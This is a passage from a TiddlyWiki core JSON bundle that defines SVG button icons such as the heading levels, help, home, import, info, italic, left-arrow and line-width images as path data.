114.163418,69.3979002 116.332726,65.0674086 C120.230862,57.2857361 121.054075,67.1596684 121.400359,67.5059523 C121.757734,67.8633269 122.411167,67.5059523 122.916571,67.5059523 C123.011132,67.5059523 124.364019,67.6048489 124.432783,67.5059523 C125.0832,66.5705216 123.390209,49.5852316 123.114531,48.2089091 C121.710578,41.1996597 116.17083,32.4278331 111.249523,27.7092761 C104.975994,21.6942076 104.160516,11.5121686 92.9912146,12.7547535 C92.7872931,12.7774397 87.906794,22.9027026 85.2136766,26.2672064 C81.486311,30.9237934 82.7434931,22.1144904 78.6876623,22.1144904 C78.6065806,22.1144904 77.5045497,22.0107615 77.4353971,22.1144904 C76.8488637,22.9942905 75.9952305,26.0101404 75.1288269,26.5311533 C74.8635477,26.6906793 73.4071369,26.2924966 73.2826811,26.5311533 C71.0401728,30.8313939 81.5394677,28.7427264 79.075427,34.482926 C76.7225098,39.9642538 72.747373,32.4860199 72.747373,43.0434079\"></path>\n        <path d=\"M44.4668556,7.01044608 C54.151517,13.1403033 45.1489715,19.2084878 47.1611905,23.2253896 C48.8157833,26.5283781 51.4021933,28.6198851 48.8753629,33.038878 C46.8123257,36.6467763 42.0052989,37.0050492 39.251679,39.7621111 C36.2115749,42.8060154 33.7884281,48.7028116 32.4624592,52.6732691 C30.8452419,57.5158356 47.0088721,59.5388126 44.5246867,63.6811917 C43.1386839,65.9923513 37.7785192,65.1466282 36.0880227,63.8791519 C34.9234453,63.0059918 32.4946425,63.3331166 31.6713597,62.0997342 C29.0575851,58.1839669 29.4107339,54.0758543 28.0457962,49.9707786 C27.1076833,47.1493864 21.732611,47.8501656 20.2022714,49.3776393 C19.6790362,49.8998948 19.8723378,51.1703278 19.8723378,51.8829111 C19.8723378,57.1682405 26.9914913,55.1986414 26.9914913,58.3421973 C26.9914913,72.9792302 30.9191897,64.8771867 38.1313873,69.6793121 C48.1678018,76.3618966 45.9763926,76.981595 53.0777543,84.0829567 C56.7511941,87.7563965 60.8192437,87.7689005 62.503478,93.3767069 C64.1046972,98.7081071 53.1759798,98.7157031 50.786754,100.825053 C49.663965,101.816317 47.9736094,104.970571 46.5680513,105.439676 C44.7757187,106.037867 43.334221,105.93607 41.6242359,107.219093 C39.1967302,109.040481 37.7241465,112.151588 37.6034934,112.030935 C35.4555278,109.88297 34.0848666,96.5511248 33.7147244,93.7726273 C33.1258872,89.3524817 28.1241923,88.2337027 26.7275443,84.7420826 C25.1572737,80.8164061 28.2518481,75.223612 25.599097,70.9819941 C19.0797019,60.557804 13.7775712,56.4811506 10.2493953,44.6896152 C9.3074899,41.5416683 13.5912267,38.1609942 15.1264825,35.8570308 C17.0029359,33.0410312 17.7876232,30.0028946 19.8723378,27.2224065 C22.146793,24.1888519 40.8551166,9.46076832 43.8574051,8.63490613 L44.4668556,7.01044608 Z\"></path>\n        <path d=\"M64,126 C98.2416545,126 126,98.2416545 126,64 C126,29.7583455 98.2416545,2 64,2 C29.7583455,2 2,29.7583455 2,64 C2,98.2416545 29.7583455,126 64,126 Z M64,120 C94.927946,120 120,94.927946 120,64 C120,33.072054 94.927946,8 64,8 C33.072054,8 8,33.072054 8,64 C8,94.927946 33.072054,120 64,120 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/heading-1": {
            "title": "$:/core/images/heading-1",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-heading-1 tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M14,30 L27.25,30 L27.25,60.104 L61.7,60.104 L61.7,30 L74.95,30 L74.95,105.684 L61.7,105.684 L61.7,71.552 L27.25,71.552 L27.25,105.684 L14,105.684 L14,30 Z M84.3350766,43.78 C86.8790893,43.78 89.3523979,43.5680021 91.7550766,43.144 C94.1577553,42.7199979 96.3307336,42.0133383 98.2740766,41.024 C100.21742,40.0346617 101.87807,38.7626744 103.256077,37.208 C104.634084,35.6533256 105.535075,33.7453446 105.959077,31.484 L115.817077,31.484 L115.817077,105.684 L102.567077,105.684 L102.567077,53.32 L84.3350766,53.32 L84.3350766,43.78 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/heading-2": {
            "title": "$:/core/images/heading-2",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-heading-2 tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M6,30 L19.25,30 L19.25,60.104 L53.7,60.104 L53.7,30 L66.95,30 L66.95,105.684 L53.7,105.684 L53.7,71.552 L19.25,71.552 L19.25,105.684 L6,105.684 L6,30 Z M125.519077,105.684 L74.8510766,105.684 C74.9217436,99.5359693 76.4057288,94.1653563 79.3030766,89.572 C82.2004244,84.9786437 86.1577182,80.986017 91.1750766,77.594 C93.5777553,75.8273245 96.0863969,74.113675 98.7010766,72.453 C101.315756,70.792325 103.718399,69.0080095 105.909077,67.1 C108.099754,65.1919905 109.901736,63.1250111 111.315077,60.899 C112.728417,58.6729889 113.47041,56.1113478 113.541077,53.214 C113.541077,51.8713266 113.382078,50.4403409 113.064077,48.921 C112.746075,47.4016591 112.127748,45.9883399 111.209077,44.681 C110.290405,43.3736601 109.018418,42.2783377 107.393077,41.395 C105.767735,40.5116622 103.647756,40.07 101.033077,40.07 C98.6303979,40.07 96.6340846,40.5469952 95.0440766,41.501 C93.4540687,42.4550048 92.1820814,43.762325 91.2280766,45.423 C90.2740719,47.083675 89.5674123,49.0446554 89.1080766,51.306 C88.648741,53.5673446 88.3837436,56.0053203 88.3130766,58.62 L76.2290766,58.62 C76.2290766,54.5213128 76.7767378,50.7230175 77.8720766,47.225 C78.9674154,43.7269825 80.610399,40.7060127 82.8010766,38.162 C84.9917542,35.6179873 87.6593942,33.6216739 90.8040766,32.173 C93.948759,30.7243261 97.6057224,30 101.775077,30 C106.297766,30 110.078395,30.7419926 113.117077,32.226 C116.155758,33.7100074 118.611401,35.5826554 120.484077,37.844 C122.356753,40.1053446 123.681739,42.5609868 124.459077,45.211 C125.236414,47.8610133 125.625077,50.3873213 125.625077,52.79 C125.625077,55.7580148 125.165748,58.4433213 124.247077,60.846 C123.328405,63.2486787 122.091751,65.4569899 120.537077,67.471 C118.982402,69.4850101 117.215753,71.3399915 115.237077,73.036 C113.2584,74.7320085 111.209087,76.3219926 109.089077,77.806 C106.969066,79.2900074 104.849087,80.7033266 102.729077,82.046 C100.609066,83.3886734 98.6480856,84.7313266 96.8460766,86.074 C95.0440676,87.4166734 93.47175,88.8123261 92.1290766,90.261 C90.7864032,91.7096739 89.8677458,93.2466585 89.3730766,94.872 L125.519077,94.872 L125.519077,105.684 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/heading-3": {
            "title": "$:/core/images/heading-3",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-heading-3 tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M6,30 L19.25,30 L19.25,60.104 L53.7,60.104 L53.7,30 L66.95,30 L66.95,105.684 L53.7,105.684 L53.7,71.552 L19.25,71.552 L19.25,105.684 L6,105.684 L6,30 Z M94.8850766,62.224 C96.8637532,62.294667 98.8424001,62.1533351 100.821077,61.8 C102.799753,61.4466649 104.566402,60.8283378 106.121077,59.945 C107.675751,59.0616623 108.930072,57.8426744 109.884077,56.288 C110.838081,54.7333256 111.315077,52.8253446 111.315077,50.564 C111.315077,47.3839841 110.237421,44.8400095 108.082077,42.932 C105.926733,41.0239905 103.153094,40.07 99.7610766,40.07 C97.641066,40.07 95.8037511,40.4939958 94.2490766,41.342 C92.6944022,42.1900042 91.4047484,43.3383261 90.3800766,44.787 C89.3554048,46.2356739 88.5957458,47.860991 88.1010766,49.663 C87.6064075,51.465009 87.3944096,53.3199905 87.4650766,55.228 L75.3810766,55.228 C75.5224107,51.623982 76.1937373,48.2850154 77.3950766,45.211 C78.596416,42.1369846 80.2393995,39.4693446 82.3240766,37.208 C84.4087537,34.9466554 86.9350618,33.1800064 89.9030766,31.908 C92.8710915,30.6359936 96.2277246,30 99.9730766,30 C102.870424,30 105.714729,30.4239958 108.506077,31.272 C111.297424,32.1200042 113.806065,33.3566585 116.032077,34.982 C118.258088,36.6073415 120.042403,38.6743208 121.385077,41.183 C122.72775,43.6916792 123.399077,46.5713171 123.399077,49.822 C123.399077,53.5673521 122.551085,56.8356527 120.855077,59.627 C119.159068,62.4183473 116.509095,64.4499936 112.905077,65.722 L112.905077,65.934 C117.145098,66.7820042 120.448731,68.8843166 122.816077,72.241 C125.183422,75.5976835 126.367077,79.6786426 126.367077,84.484 C126.367077,88.017351 125.660417,91.1796527 124.247077,93.971 C122.833736,96.7623473 120.925755,99.129657 118.523077,101.073 C116.120398,103.016343 113.329093,104.517995 110.149077,105.578 C106.969061,106.638005 103.612428,107.168 100.079077,107.168 C95.7683884,107.168 92.005426,106.549673 88.7900766,105.313 C85.5747272,104.076327 82.8894207,102.327345 80.7340766,100.066 C78.5787325,97.8046554 76.9357489,95.0840159 75.8050766,91.904 C74.6744043,88.7239841 74.0737436,85.1906861 74.0030766,81.304 L86.0870766,81.304 C85.9457426,85.8266893 87.0587315,89.5896517 89.4260766,92.593 C91.7934218,95.5963483 95.3443863,97.098 100.079077,97.098 C104.107097,97.098 107.481396,95.9496782 110.202077,93.653 C112.922757,91.3563219 114.283077,88.0880212 114.283077,83.848 C114.283077,80.9506522 113.717749,78.6540085 112.587077,76.958 C111.456404,75.2619915 109.972419,73.9723378 108.135077,73.089 C106.297734,72.2056623 104.230755,71.6580011 101.934077,71.446 C99.6373985,71.2339989 97.2877553,71.163333 94.8850766,71.234 L94.8850766,62.224 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/heading-4": {
            "title": "$:/core/images/heading-4",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-heading-4 tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M8,30 L21.25,30 L21.25,60.104 L55.7,60.104 L55.7,30 L68.95,30 L68.95,105.684 L55.7,105.684 L55.7,71.552 L21.25,71.552 L21.25,105.684 L8,105.684 L8,30 Z M84.5890766,78.548 L107.061077,78.548 L107.061077,45.9 L106.849077,45.9 L84.5890766,78.548 Z M128.049077,88.088 L118.509077,88.088 L118.509077,105.684 L107.061077,105.684 L107.061077,88.088 L75.2610766,88.088 L75.2610766,76.11 L107.061077,31.484 L118.509077,31.484 L118.509077,78.548 L128.049077,78.548 L128.049077,88.088 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/heading-5": {
            "title": "$:/core/images/heading-5",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-heading-5 tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M6,30 L19.25,30 L19.25,60.104 L53.7,60.104 L53.7,30 L66.95,30 L66.95,105.684 L53.7,105.684 L53.7,71.552 L19.25,71.552 L19.25,105.684 L6,105.684 L6,30 Z M83.7550766,31.484 L122.127077,31.484 L122.127077,42.296 L92.7650766,42.296 L88.9490766,61.164 L89.1610766,61.376 C90.7864181,59.5386575 92.8533974,58.1430048 95.3620766,57.189 C97.8707558,56.2349952 100.361731,55.758 102.835077,55.758 C106.509762,55.758 109.795729,56.3763272 112.693077,57.613 C115.590424,58.8496729 118.0284,60.5809889 120.007077,62.807 C121.985753,65.0330111 123.487405,67.6653181 124.512077,70.704 C125.536748,73.7426819 126.049077,77.028649 126.049077,80.562 C126.049077,83.5300148 125.572081,86.5863176 124.618077,89.731 C123.664072,92.8756824 122.144754,95.7376538 120.060077,98.317 C117.9754,100.896346 115.30776,103.016325 112.057077,104.677 C108.806394,106.337675 104.919766,107.168 100.397077,107.168 C96.7930586,107.168 93.454092,106.691005 90.3800766,105.737 C87.3060613,104.782995 84.6030883,103.35201 82.2710766,101.444 C79.939065,99.5359905 78.0840835,97.1863473 76.7060766,94.395 C75.3280697,91.6036527 74.5684107,88.3353521 74.4270766,84.59 L86.5110766,84.59 C86.8644117,88.6180201 88.2423979,91.7096559 90.6450766,93.865 C93.0477553,96.0203441 96.2277235,97.098 100.185077,97.098 C102.729089,97.098 104.884401,96.6740042 106.651077,95.826 C108.417752,94.9779958 109.848738,93.8120074 110.944077,92.328 C112.039415,90.8439926 112.816741,89.1126766 113.276077,87.134 C113.735412,85.1553234 113.965077,83.0353446 113.965077,80.774 C113.965077,78.7246564 113.682413,76.763676 113.117077,74.891 C112.55174,73.018324 111.703749,71.3753404 110.573077,69.962 C109.442404,68.5486596 107.976086,67.4180042 106.174077,66.57 C104.372068,65.7219958 102.269755,65.298 99.8670766,65.298 C97.3230639,65.298 94.9380878,65.7749952 92.7120766,66.729 C90.4860655,67.6830048 88.8784149,69.4673203 87.8890766,72.082 L75.8050766,72.082 L83.7550766,31.484 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/heading-6": {
            "title": "$:/core/images/heading-6",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-heading-6 tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M6,30 L19.25,30 L19.25,60.104 L53.7,60.104 L53.7,30 L66.95,30 L66.95,105.684 L53.7,105.684 L53.7,71.552 L19.25,71.552 L19.25,105.684 L6,105.684 L6,30 Z M112.587077,50.246 C112.304409,47.2073181 111.226753,44.751676 109.354077,42.879 C107.481401,41.006324 104.955093,40.07 101.775077,40.07 C99.584399,40.07 97.6940846,40.4763293 96.1040766,41.289 C94.5140687,42.1016707 93.1714154,43.1793266 92.0760766,44.522 C90.9807378,45.8646734 90.0974133,47.401658 89.4260766,49.133 C88.7547399,50.864342 88.2070787,52.6839905 87.7830766,54.592 C87.3590745,56.5000095 87.0587442,58.390324 86.8820766,60.263 C86.7054091,62.135676 86.5464107,63.8846585 86.4050766,65.51 L86.6170766,65.722 C88.2424181,62.7539852 90.4860623,60.5456739 93.3480766,59.097 C96.2100909,57.6483261 99.3017267,56.924 102.623077,56.924 C106.297762,56.924 109.583729,57.5599936 112.481077,58.832 C115.378424,60.1040064 117.834067,61.8529889 119.848077,64.079 C121.862087,66.3050111 123.399071,68.9373181 124.459077,71.976 C125.519082,75.0146819 126.049077,78.300649 126.049077,81.834 C126.049077,85.438018 125.466082,88.7769846 124.300077,91.851 C123.134071,94.9250154 121.455754,97.6103219 119.265077,99.907 C117.074399,102.203678 114.459758,103.987994 111.421077,105.26 C108.382395,106.532006 105.025762,107.168 101.351077,107.168 C95.9097161,107.168 91.4400941,106.16101 87.9420766,104.147 C84.4440591,102.13299 81.6880867,99.3770175 79.6740766,95.879 C77.6600666,92.3809825 76.2644138,88.2823568 75.4870766,83.583 C74.7097394,78.8836432 74.3210766,73.8133605 74.3210766,68.372 C74.3210766,63.9199777 74.7980719,59.4326893 75.7520766,54.91 C76.7060814,50.3873107 78.278399,46.2710186 80.4690766,42.561 C82.6597542,38.8509815 85.5393921,35.8300117 89.1080766,33.498 C92.6767611,31.1659883 97.0757171,30 102.305077,30 C105.273091,30 108.064397,30.4946617 110.679077,31.484 C113.293756,32.4733383 115.608067,33.8513245 117.622077,35.618 C119.636087,37.3846755 121.27907,39.5046543 122.551077,41.978 C123.823083,44.4513457 124.529743,47.2073181 124.671077,50.246 L112.587077,50.246 Z M100.927077,97.098 C103.117754,97.098 105.025735,96.6563378 106.651077,95.773 C108.276418,94.8896623 109.636738,93.7413404 110.732077,92.328 C111.827415,90.9146596 112.640074,89.271676 113.170077,87.399 C113.700079,85.526324 113.965077,83.6006766 113.965077,81.622 C113.965077,79.6433234 113.700079,77.7353425 113.170077,75.898 C112.640074,74.0606575 111.827415,72.4530069 110.732077,71.075 C109.636738,69.6969931 108.276418,68.5840042 106.651077,67.736 C105.025735,66.8879958 103.117754,66.464 100.927077,66.464 C98.736399,66.464 96.8107516,66.8703293 95.1500766,67.683 C93.4894017,68.4956707 92.0937489,69.5909931 90.9630766,70.969 C89.8324043,72.3470069 88.9844128,73.9546575 88.4190766,75.792 C87.8537405,77.6293425 87.5710766,79.5726564 87.5710766,81.622 C87.5710766,83.6713436 87.8537405,85.6146575 88.4190766,87.452 C88.9844128,89.2893425 89.8324043,90.9323261 90.9630766,92.381 C92.0937489,93.8296739 93.4894017,94.9779958 95.1500766,95.826 C96.8107516,96.6740042 98.736399,97.098 100.927077,97.098 L100.927077,97.098 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/help": {
            "title": "$:/core/images/help",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-help tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M36.0548906,111.44117 C30.8157418,115.837088 20.8865444,118.803477 9.5,118.803477 C7.86465619,118.803477 6.25937294,118.742289 4.69372699,118.624467 C12.612543,115.984876 18.7559465,110.02454 21.0611049,102.609942 C8.74739781,92.845129 1.04940554,78.9359851 1.04940554,63.5 C1.04940554,33.9527659 29.2554663,10 64.0494055,10 C98.8433448,10 127.049406,33.9527659 127.049406,63.5 C127.049406,93.0472341 98.8433448,117 64.0494055,117 C53.9936953,117 44.48824,114.999337 36.0548906,111.44117 L36.0548906,111.44117 Z M71.4042554,77.5980086 C71.406883,77.2865764 71.4095079,76.9382011 71.4119569,76.5610548 C71.4199751,75.3262169 71.4242825,74.0811293 71.422912,72.9158546 C71.4215244,71.736154 71.4143321,70.709635 71.4001396,69.8743525 C71.4078362,68.5173028 71.9951951,67.7870427 75.1273009,65.6385471 C75.2388969,65.5619968 76.2124091,64.8981068 76.5126553,64.6910879 C79.6062455,62.5580654 81.5345849,60.9050204 83.2750652,58.5038955 C85.6146327,55.2762841 86.8327108,51.426982 86.8327108,46.8554323 C86.8327108,33.5625756 76.972994,24.9029551 65.3778484,24.9029551 C54.2752771,24.9029551 42.8794554,34.5115163 41.3121702,47.1975534 C40.9043016,50.4989536 43.2499725,53.50591 46.5513726,53.9137786 C49.8527728,54.3216471 52.8597292,51.9759763 53.2675978,48.6745761 C54.0739246,42.1479456 60.2395837,36.9492759 65.3778484,36.9492759 C70.6427674,36.9492759 74.78639,40.5885487 74.78639,46.8554323 C74.78639,50.4892974 73.6853224,52.008304 69.6746221,54.7736715 C69.4052605,54.9593956 68.448509,55.6118556 68.3131127,55.7047319 C65.6309785,57.5445655 64.0858213,58.803255 62.6123358,60.6352315 C60.5044618,63.2559399 59.3714208,66.3518252 59.3547527,69.9487679 C59.3684999,70.8407274 59.3752803,71.8084521 59.3765995,72.9300232 C59.3779294,74.0607297 59.3737237,75.2764258 59.36589,76.482835 C59.3634936,76.8518793 59.3609272,77.1924914 59.3583633,77.4963784 C59.3568319,77.6778944 59.3556368,77.8074256 59.3549845,77.8730928 C59.3219814,81.1994287 61.9917551,83.9227111 65.318091,83.9557142 C68.644427,83.9887173 71.3677093,81.3189435 71.4007124,77.9926076 C71.4014444,77.9187458 71.402672,77.7856841 71.4042554,77.5980086 Z M65.3778489,102.097045 C69.5359735,102.097045 72.9067994,98.7262189 72.9067994,94.5680944 C72.9067994,90.4099698 69.5359735,87.0391439 65.3778489,87.0391439 C61.2197243,87.0391439 57.8488984,90.4099698 57.8488984,94.5680944 C57.8488984,98.7262189 61.2197243,102.097045 65.3778489,102.097045 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/home-button": {
            "title": "$:/core/images/home-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-home-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M112.9847,119.501583 C112.99485,119.336814 113,119.170705 113,119.003406 L113,67.56802 C116.137461,70.5156358 121.076014,70.4518569 124.133985,67.3938855 C127.25818,64.2696912 127.260618,59.2068102 124.131541,56.0777326 L70.3963143,2.34250601 C68.8331348,0.779326498 66.7828947,-0.000743167069 64.7337457,1.61675364e-05 C62.691312,-0.00409949529 60.6426632,0.777559815 59.077717,2.34250601 L33,28.420223 L33,28.420223 L33,8.00697327 C33,3.58484404 29.4092877,0 25,0 C20.581722,0 17,3.59075293 17,8.00697327 L17,44.420223 L5.3424904,56.0777326 C2.21694607,59.2032769 2.22220878,64.2760483 5.34004601,67.3938855 C8.46424034,70.5180798 13.5271213,70.5205187 16.6561989,67.3914411 L17,67.04764 L17,119.993027 C17,119.994189 17.0000002,119.995351 17.0000007,119.996514 C17.0000002,119.997675 17,119.998838 17,120 C17,124.418278 20.5881049,128 24.9992458,128 L105.000754,128 C109.418616,128 113,124.409288 113,120 C113,119.832611 112.99485,119.666422 112.9847,119.501583 Z M97,112 L97,51.5736087 L97,51.5736087 L64.7370156,19.3106244 L33,51.04764 L33,112 L97,112 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/import-button": {
            "title": "$:/core/images/import-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-import-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M105.449437,94.2138951 C105.449437,94.2138951 110.049457,94.1897106 110.049457,99.4026111 C110.049457,104.615512 105.163246,104.615511 105.163246,104.615511 L45.0075072,105.157833 C45.0075072,105.157833 0.367531803,106.289842 0.367532368,66.6449212 C0.367532934,27.0000003 45.0428249,27.0000003 45.0428249,27.0000003 L105.532495,27.0000003 C105.532495,27.0000003 138.996741,25.6734987 138.996741,55.1771866 C138.996741,84.6808745 105.727102,82.8457535 105.727102,82.8457535 L56.1735087,82.8457535 C56.1735087,82.8457535 22.6899229,85.1500223 22.6899229,66.0913753 C22.6899229,47.0327282 56.1735087,49.3383013 56.1735087,49.3383013 L105.727102,49.3383013 C105.727102,49.3383013 111.245209,49.3383024 111.245209,54.8231115 C111.245209,60.3079206 105.727102,60.5074524 105.727102,60.5074524 L56.1735087,60.5074524 C56.1735087,60.5074524 37.48913,60.5074528 37.48913,66.6449195 C37.48913,72.7823862 56.1735087,71.6766023 56.1735087,71.6766023 L105.727102,71.6766029 C105.727102,71.6766029 127.835546,73.1411469 127.835546,55.1771866 C127.835546,35.5304025 105.727102,38.3035317 105.727102,38.3035317 L45.0428249,38.3035317 C45.0428249,38.3035317 11.5287276,38.3035313 11.5287276,66.6449208 C11.5287276,94.9863103 45.0428244,93.9579678 45.0428244,93.9579678 L105.449437,94.2138951 Z\" transform=\"translate(69.367532, 66.000000) rotate(-45.000000) translate(-69.367532, -66.000000) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/info-button": {
            "title": "$:/core/images/info-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-info-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <g fill-rule=\"evenodd\">\n        <g transform=\"translate(0.049406, 0.000000)\">\n            <path d=\"M64,128 C99.346224,128 128,99.346224 128,64 C128,28.653776 99.346224,0 64,0 C28.653776,0 0,28.653776 0,64 C0,99.346224 28.653776,128 64,128 Z M64,112 C90.509668,112 112,90.509668 112,64 C112,37.490332 90.509668,16 64,16 C37.490332,16 16,37.490332 16,64 C16,90.509668 37.490332,112 64,112 Z\"></path>\n            <circle cx=\"64\" cy=\"32\" r=\"8\"></circle>\n            <rect x=\"56\" y=\"48\" width=\"16\" height=\"56\" rx=\"8\"></rect>\n        </g>\n    </g>\n</svg>"
        },
        "$:/core/images/italic": {
            "title": "$:/core/images/italic",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-italic tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n         <polygon points=\"66.7114846 0 89.1204482 0 62.4089636 128 40 128\"></polygon>\n    </g>\n</svg>"
        },
        "$:/core/images/left-arrow": {
            "title": "$:/core/images/left-arrow",
            "created": "20150315234410875",
            "modified": "20150315235324760",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-left-arrow tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <path transform=\"rotate(135, 63.8945, 64.1752)\" d=\"m109.07576,109.35336c-1.43248,1.43361 -3.41136,2.32182 -5.59717,2.32182l-79.16816,0c-4.36519,0 -7.91592,-3.5444 -7.91592,-7.91666c0,-4.36337 3.54408,-7.91667 7.91592,-7.91667l71.25075,0l0,-71.25075c0,-4.3652 3.54442,-7.91592 7.91667,-7.91592c4.36336,0 7.91667,3.54408 7.91667,7.91592l0,79.16815c0,2.1825 -0.88602,4.16136 -2.3185,5.59467l-0.00027,-0.00056z\"/>\n</svg>\n"
        },
        "$:/core/images/line-width": {
            "title": "$:/core/images/line-width",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-line-width tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M128,-97 L112.992786,-97 C112.452362,-97 112,-96.5522847 112,-96 C112,-95.4438648 112.444486,-95 112.992786,-95 L128,-95 L128,-97 Z M128,-78.6794919 L111.216185,-88.3696322 C110.748163,-88.6398444 110.132549,-88.4782926 109.856406,-88 C109.578339,-87.5183728 109.741342,-86.9117318 110.216185,-86.6375814 L128,-76.3700908 L128,-78.6794919 Z M78.6794919,-128 L88.3696322,-111.216185 C88.6437826,-110.741342 88.4816272,-110.134474 88,-109.856406 C87.5217074,-109.580264 86.9077936,-109.748163 86.6375814,-110.216185 L76.3700908,-128 L78.6794919,-128 Z M97,-128 L97,-112.992786 C97,-112.444486 96.5561352,-112 96,-112 C95.4477153,-112 95,-112.452362 95,-112.992786 L95,-128 L97,-128 Z M115.629909,-128 L105.362419,-110.216185 C105.088268,-109.741342 104.481627,-109.578339 104,-109.856406 C103.521707,-110.132549 103.360156,-110.748163 103.630368,-111.216185 L113.320508,-128 L115.629909,-128 Z M128,-113.320508 L111.216185,-103.630368 C110.741342,-103.356217 110.134474,-103.518373 109.856406,-104 C109.580264,-104.478293 109.748163,-105.092206 110.216185,-105.362419 L128,-115.629909 L128,-113.320508 Z M48,-96 C48,-96.5522847 48.4523621,-97 48.9927864,-97 L79.0072136,-97 C79.5555144,-97 80,-96.5561352 80,-96 C80,-95.4477153 79.5476379,-95 79.0072136,-95 L48.9927864,-95 C48.4444856,-95 48,-95.4438648 48,-96 Z M54.4307806,-120 C54.706923,-120.478293 55.3225377,-120.639844 55.7905589,-120.369632 L81.7838153,-105.362419 C82.2586577,-105.088268 82.4216611,-104.481627 82.1435935,-104 C81.8674512,-103.521707 81.2518365,-103.360156 80.7838153,-103.630368 L54.7905589,-118.637581 C54.3157165,-118.911732 54.152713,-119.518373 54.4307806,-120 Z M104,-82.1435935 C104.478293,-82.4197359 105.092206,-82.2518365 105.362419,-81.7838153 L120.369632,-55.7905589 C120.643783,-55.3157165 120.481627,-54.7088482 120,-54.4307806 C119.521707,-54.1546382 118.907794,-54.3225377 118.637581,-54.7905589 L103.630368,-80.7838153 C103.356217,-81.2586577 103.518373,-81.865526 104,-82.1435935 Z M96,-80 C96.5522847,-80 97,-79.5476379 97,-79.0072136 L97,-48.9927864 C97,-48.4444856 96.5561352,-48 96,-48 C95.4477153,-48 95,-48.4523621 95,-48.9927864 L95,-79.0072136 C95,-79.5555144 95.4438648,-80 96,-80 Z M88,-82.1435935 C88.4782926,-81.8674512 88.6398444,-81.2518365 88.3696322,-80.7838153 L73.3624186,-54.7905589 C73.0882682,-54.3157165 72.4816272,-54.152713 72,-54.4307806 C71.5217074,-54.706923 71.3601556,-55.3225377 71.6303678,-55.7905589 L86.6375814,-81.7838153 C86.9117318,-82.2586577 87.5183728,-82.4216611 88,-82.1435935 Z M82.1435935,-88 C82.4197359,-87.5217074 82.2518365,-86.9077936 81.7838153,-86.6375814 L55.7905589,-71.6303678 C55.3157165,-71.3562174 54.7088482,-71.5183728 54.4307806,-72 C54.1546382,-72.4782926 54.3225377,-73.0922064 54.7905589,-73.3624186 L80.7838153,-88.3696322 C81.2586577,-88.6437826 81.865526,-88.4816272 82.1435935,-88 Z M1.30626177e-08,-41.9868843 L15.0170091,-57.9923909 L20.7983821,-52.9749272 L44.7207091,-81.2095939 L73.4260467,-42.1002685 L85.984793,-56.6159488 L104.48741,-34.0310661 L127.969109,-47.4978019 L127.969109,7.99473128e-07 L1.30626177e-08,7.99473128e-07 L1.30626177e-08,-41.9868843 Z M96,-84 C102.627417,-84 108,-89.372583 108,-96 C108,-102.627417 102.627417,-108 96,-108 C89.372583,-108 84,-102.627417 84,-96 C84,-89.372583 89.372583,-84 96,-84 Z\"></path>\n        <path d=\"M16,18 L112,18 C113.104569,18 114,17.1045695 114,16 C114,14.8954305 113.104569,14 112,14 L16,14 C14.8954305,14 14,14.8954305 14,16 C14,17.1045695 14.8954305,18 16,18 L16,18 Z M16,35 L112,35 C114.209139,35 116,33.209139 116,31 C116,28.790861 114.209139,27 112,27 L16,27 C13.790861,27 12,28.790861 12,31 C12,33.209139 13.790861,35 16,35 L16,35 Z M16,56 L112,56 C115.313708,56 118,53.3137085 118,50 C118,46.6862915 115.313708,44 112,44 L16,44 C12.6862915,44 10,46.6862915 10,50 C10,53.3137085 12.6862915,56 16,56 L16,56 Z M16,85 L112,85 C117.522847,85 122,80.5228475 122,75 C122,69.4771525 117.522847,65 112,65 L16,65 C10.4771525,65 6,69.4771525 6,75 C6,80.5228475 10.4771525,85 16,85 L16,85 Z M16,128 L112,128 C120.836556,128 128,120.836556 